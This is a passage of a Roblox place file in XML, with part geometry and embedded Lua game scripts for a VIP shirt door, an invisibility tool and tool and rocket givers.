					<Y>50</Y>
					<Z>116</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>16</X>
					<Y>14.4000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX3773">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-1735</X>
					<Y>57.7999992</Y>
					<Z>122</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>10</X>
					<Y>1.20000005</Y>
					<Z>14</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX3774">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-1745</X>
					<Y>34.4000015</Y>
					<Z>120.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
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					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<ProtectedString name="Source">print (&quot;VIP T-Shirt Door Script Loaded&quot;)

-- list of account names allowed to go through the door.
permission = { &quot;&quot; } -- This is how many people can still get through, so u don&apos;t have to change shirts. You can also have another friend here.

-- TextureId of the VIP shirt.
texture = &quot;http://www.roblox.com/asset/?id=47819862&quot; -- Go to the wiki below this script to find out how to change the shirt. And paste the link in between the &quot;&quot; marks.

function checkOkToLetIn(name) 
	for i = 1,#permission do 
		-- convert strings to all upper case, otherwise we will let in 
		-- &quot;Username&quot; but not &quot;username&quot; or &quot;uSERNAME&quot; 
		if (string.upper(name) == string.upper(permission[i])) then return true end 
	end 
	return false 
end 

local Door = script.Parent

function onTouched(hit) 
	print(&quot;Door Hit&quot;) 
	local human = hit.Parent:findFirstChild(&quot;Humanoid&quot;) 
	if (human ~= nil ) then 
		if human.Parent.Torso.roblox.Texture == texture then --the shirt 
			Door.Transparency = 0.7 
			Door.CanCollide = false 
			wait(4) -- this is how long the door is open 
			Door.CanCollide = true 
			Door.Transparency = 0 
			-- a human has touched this door! 
			print(&quot;Human touched door&quot;) 
			-- test the human&apos;s name against the permission list 
		elseif (checkOkToLetIn(human.Parent.Name)) then 
			print(&quot;Human passed test&quot;) 
			Door.Transparency = 0.7
			Door.CanCollide = false 
			wait(4) -- this is how long the door is open
			Door.CanCollide = true 
			Door.Transparency = 0 
		else human.Health = 0 -- delete this line of you want a non-killing VIP door 
		end 
	end 
end 

script.Parent.Touched:connect(onTouched)

</ProtectedString>
				</Properties>
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					<bool name="Archivable">true</bool>
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					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=35548424</url></Content>
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				</Properties>
			</Item>
			<Item class="Decal" referent="RBX3789">
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					<string name="Name">Decal</string>
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					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=35548424</url></Content>
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				</Properties>
			</Item>
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									</Vector3>
								</Properties>
							</Item>
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					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">3</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.200000003</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>12.999999</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Script" referent="RBX4319">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<ProtectedString name="Source">print (&quot;VIP T-Shirt Door Script Loaded&quot;)

-- list of account names allowed to go through the door.
permission = { &quot;&quot; } -- This is how many people can still get through, so u don&apos;t have to change shirts. You can also have another friend here.

-- TextureId of the VIP shirt.
texture = &quot;http://www.roblox.com/asset/?id=52761663&quot; -- Go to the wiki below this script to find out how to change the shirt. And paste the link in between the &quot;&quot; marks.

function checkOkToLetIn(name) 
	for i = 1,#permission do 
		-- convert strings to all upper case, otherwise we will let in 
		-- &quot;Username&quot; but not &quot;username&quot; or &quot;uSERNAME&quot; 
		if (string.upper(name) == string.upper(permission[i])) then return true end 
	end 
	return false 
end 

local Door = script.Parent

function onTouched(hit) 
	print(&quot;Door Hit&quot;) 
	local human = hit.Parent:findFirstChild(&quot;Humanoid&quot;) 
	if (human ~= nil ) then 
		if human.Parent.Torso.roblox.Texture == texture then --the shirt 
			Door.Transparency = 0.7 
			Door.CanCollide = false 
			wait(4) -- this is how long the door is open 
			Door.CanCollide = true 
			Door.Transparency = 0 
			-- a human has touched this door! 
			print(&quot;Human touched door&quot;) 
			-- test the human&apos;s name against the permission list 
		elseif (checkOkToLetIn(human.Parent.Name)) then 
			print(&quot;Human passed test&quot;) 
			Door.Transparency = 0.7
			Door.CanCollide = false 
			wait(4) -- this is how long the door is open
			Door.CanCollide = true 
			Door.Transparency = 0 
		else human.Health = 0 -- delete this line of you want a non-killing VIP door 
		end 
	end 
end 

script.Parent.Touched:connect(onTouched)

</ProtectedString>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX4320">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">5</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=53613873</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX4321">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">2</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=53613873</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX4322">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Givers</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Model" referent="RBX4323">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Invisible tool giver</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Script" referent="RBX4324">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">READ ME FOR INSTRUCTIONS</string>
						<ProtectedString name="Source">--DONT PUT THIS IN ANYTHING IT&apos;S JUST INSTRUCTIONS.
--First Place the &quot;PUT THIS IN THE WEAPON&quot; script in your Weapon or Tool.
--Then place your Weapon or Tool in the &quot;PUT THE WEAPON IN THIS BRICK&quot; brick.

--IMPORTANT (OPTINAL)
--Before doing anything you should put the Weapon or Tool in the giver where you want it.</ProtectedString>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4325">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1</int>
						<CoordinateFrame name="CFrame">
							<X>-1733.50195</X>
							<Y>9.50613308</Y>
							<Z>145.499756</Z>
							<R00>2.32823893e-009</R00>
							<R01>0.000152590103</R01>
							<R02>-0.999997854</R02>
							<R10>3.05180074e-005</R10>
							<R11>1</R11>
							<R12>0.000152589972</R12>
							<R20>0.999997854</R20>
							<R21>-3.05180147e-005</R21>
							<R22>-2.32515029e-009</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">PUT THE WEAPON IN THIS BRICK</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="HopperBin" referent="RBX4326">
						<Properties>
							<bool name="Active">false</bool>
							<bool name="Archivable">true</bool>
							<token name="BinType">0</token>
							<string name="Name">Invisible tool</string>
							<Content name="TextureId"><null></null></Content>
						</Properties>
						<Item class="Script" referent="RBX4327">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">print(&quot;Invisibility hopper script loaded&quot;)

enabled = true
invisibilityTime = 10 -- Time the person will be invisible
reloadTime = 4 -- Additional time to reload

function setCursor(mouse)
	if enabled then
		mouse.Icon = &quot;rbxasset://textures\\ArrowCursor.png&quot;
	else
		mouse.Icon = &quot;rbxasset://textures\\ArrowFarCursor.png&quot;
	end
end

function onButton1Down(mouse)
	if enabled then
		enabled = false
		setCursor(mouse) -- Not ready anymore
		playerScript = script.Parent.Fade:clone() -- Copy the fading script
		playerScript.Parent = game.Players.LocalPlayer.Character -- Place it in the player
		scriptTimeOut = Instance.new(&quot;NumberValue&quot;) -- Give it a time before becoming visible again
		scriptTimeOut.Name = &quot;InvisibilityTime&quot;
		scriptTimeOut.Value = invisibilityTime
		scriptTimeOut.Parent = playerScript

		wait(reloadTime + invisibilityTime) -- Wait for a proper reload time
		enabled = true -- Ready again
	end
	setCursor(mouse) -- Set apropriate cursor
end

function onSelected(mouse) -- When the weapon is selected, make the script recognize clicks
	print(&quot;Invisibility selected&quot;)
	setCursor(mouse) -- Make the mouse indicate readiness
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end

script.Parent.Selected:connect(onSelected)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4328">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">PUT THIS IN THE WEAPON</string>
								<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4329">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1733.5</X>
							<Y>9.80083275</Y>
							<Z>146.499878</Z>
							<R00>0.999996603</R00>
							<R01>2.31135928e-005</R01>
							<R02>1.0480464e-005</R02>
							<R10>-2.31128506e-005</R10>
							<R11>1</R11>
							<R12>-1.26419873e-005</R12>
							<R20>-1.04807641e-005</R20>
							<R21>1.26415471e-005</R21>
							<R22>0.999996603</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4330">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1735.5</X>
							<Y>9.80000019</Y>
							<Z>147.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4331">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1731.5</X>
							<Y>9.80000019</Y>
							<Z>147.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4332">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1733.5</X>
							<Y>13.3995876</Y>
							<Z>148</Z>
							<R00>0.999996603</R00>
							<R01>2.31135928e-005</R01>
							<R02>1.0480464e-005</R02>
							<R10>-2.31128506e-005</R10>
							<R11>1</R11>
							<R12>-1.26419873e-005</R12>
							<R20>-1.04807641e-005</R20>
							<R21>1.26415471e-005</R21>
							<R22>0.999996603</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
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							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.300000012</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>4</X>
								<Y>4.80000019</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX4343">
						<Properties>
							<bool name="Anchored">true</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>-1715.5</X>
								<Y>10.5</Y>
								<Z>144.5</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>5</Z>
							</Vector3>
						</Properties>
						<Item class="Script" referent="RBX4344">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">PresentScript</string>
								<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent.Rocket:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Touched:connect(onTouch) 
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Tool" referent="RBX4345">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Enabled">true</bool>
								<CoordinateFrame name="Grip">
									<X>-1</X>
									<Y>-0.75</Y>
									<Z>0.25</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>-0</R12>
									<R20>-1</R20>
									<R21>0</R21>
									<R22>-0</R22>
								</CoordinateFrame>
								<string name="Name">Rocket</string>
								<Content name="TextureId"><null></null></Content>
							</Properties>
							<Item class="Sound" referent="RBX4346">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Looped">true</bool>
									<string name="Name">Swoosh</string>
									<float name="Pitch">1</float>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><url>rbxasset://sounds/Rocket whoosh 01.wav</url></Content>
									<float name="Volume">0.699999988</float>
								</Properties>
							</Item>
							<Item class="Sound" referent="RBX4347">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Looped">false</bool>
									<string name="Name">Explosion</string>
									<float name="Pitch">1</float>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><url>rbxasset://sounds/collide.wav</url></Content>
									<float name="Volume">1</float>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX4348">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
